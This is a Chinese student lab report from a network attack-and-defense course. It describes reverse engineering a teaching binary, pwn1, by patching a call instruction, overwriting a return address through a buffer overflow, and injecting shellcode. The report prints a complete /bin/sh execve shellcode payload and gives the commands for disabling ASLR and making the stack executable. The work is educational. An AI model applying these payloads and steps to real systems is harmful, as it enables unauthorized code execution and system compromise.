2017-2018-2 20155333 《网络对抗技术》 Exp1 PC平台逆向破解
一、 逆向及Bof基础实践说明linux
1.1 实践目标shell
本次实践的对象是一个名为pwn1的linux可执行文件。安全
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。网络
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。dom
1.2 实践内容函数
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个本身制做的shellcode并运行这段shellcode。
1.3 实践思路学习
- 运行本来不可访问的代码片断
- 强行修改程序执行流
- 以及注入运行任意代码
二、 基础知识spa
2.1 要求命令行
- 熟悉Linux基本操做
- 能看懂经常使用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 会使用gdb,vi。
- 指令、参数
2.2 经常使用的Linux基本操做3d
objdump -d
:从objfile中反汇编那些特定指令机器码的section。
perl -e
:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
xxd
:为给定的标准输入或者文件作一次十六进制的输出,它也能够将十六进制输出转换为原来的二进制格式。
ps -ef
:显示全部进程,并显示每一个进程的UID,PPIP,C与STIME栏位。
|
:管道,将前者的输出做为后者的输入。
>
:输入输出重定向符,将前者输出的内容输入到后者中。
2.3 经常使用汇编指令
objdump -d XX
:反汇编
:%!xxd
:进入十六进制编辑模式
/
:查询
gdb XXX
:调试
%!xxd -r
:切回原模式
实践
实践一 直接修改程序机器指令,改变程序执行流程

- getShell和foo地址相差(91-7d)=0x21,所以欲call 8048491
修改成call 804847d
,须要将d7修改成c3(d7-21)
- 修改过程:
- vi打开编辑文件(此时为二进制格式);
- 按ESC键,输入
:%!xxd
将文件转换为十六进制编辑模式;
- 输入
/e8 d7
找到修改位置,i进入编辑模式修改d7为c3;
- 输入
:%!xxd -r
转回二进制模式;
- 输入
:wq
保存退出。

- 再次进行反汇编的结果以下:


实践二 经过构造输入参数,形成BOF攻击,改变程序执行流
- 反汇编,了解程序的基本功能
- 确认输入字符串哪几个字符会覆盖到返回地址


- 分别输入1111111132222222333333334444444455555555和1111111132222222333333334444444412345678看eip寄存器的值,对比可知占用返回地址的压栈数据为4321
- 将这些数换成getshell的内存地址(\x7d\x84\x04\x08\x0a),经过perl生成在ASCII界面所没法输入的16进制值,用(cat input; cat) | ./xxx来进入程序,运行结果以下:

实践三 注入Shellcode并执行
- 准备工做:若堆栈内存区设置为不可执行。这样即便是注入的shellcode到堆栈上,也执行不了。使用execstack -s XXX设置堆栈可执行,经过execstack -q XXX查看堆栈是否可执行。使用more /proc/sys/kernel/randomize_va_space命令查看是否开启地址随机化(让OS每次都用不一样的地址加载应用),有如下三种状况
- 0表示关闭进程地址空间随机化。
- 1表示将mmap的基址,stack和vdso页面随机化。
- 2表示在1的基础上增长栈(heap)的随机化。
使用echo "0" > /proc/sys/kernel/randomize_va_space命令关闭进程地址空间随机化,并再次使用more /proc/sys/kernel/randomize_va_space验证。
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr(nop一为是了填充,二是做为“着陆区/滑行区”,若猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode)。
- 由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 构造一个shellcode,输入攻击命令(cat input_shellcode;cat) | ./XXX,并找到pwn1的进程号
- 进行gdb调试,经过设置断点,来查看注入buf的内存地址
结构为:anything+retaddr+nops+shellcode。看到01020304了,就是返回地址的位置。shellcode就挨着,因此地址是 0xffffd280



- 修改input_shellcode为\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xd2\xff\xff\x00,如图所示,再次攻击后成功!

问题与总结
问题:什么是漏洞?漏洞有什么危害?
漏洞就是正常功能的硬件、软件或者策略中的缺陷。黑客利用漏洞来破坏计算机安全,达到其余对正常使用者不利的目的。
实验收获与感想
参考老师的指导教程完成了本次实验,实验过程当中不只有复习到以前学过的Linux和汇编的相关知识,还学习了网络对抗的一些基本知识,算得上是小有收获了。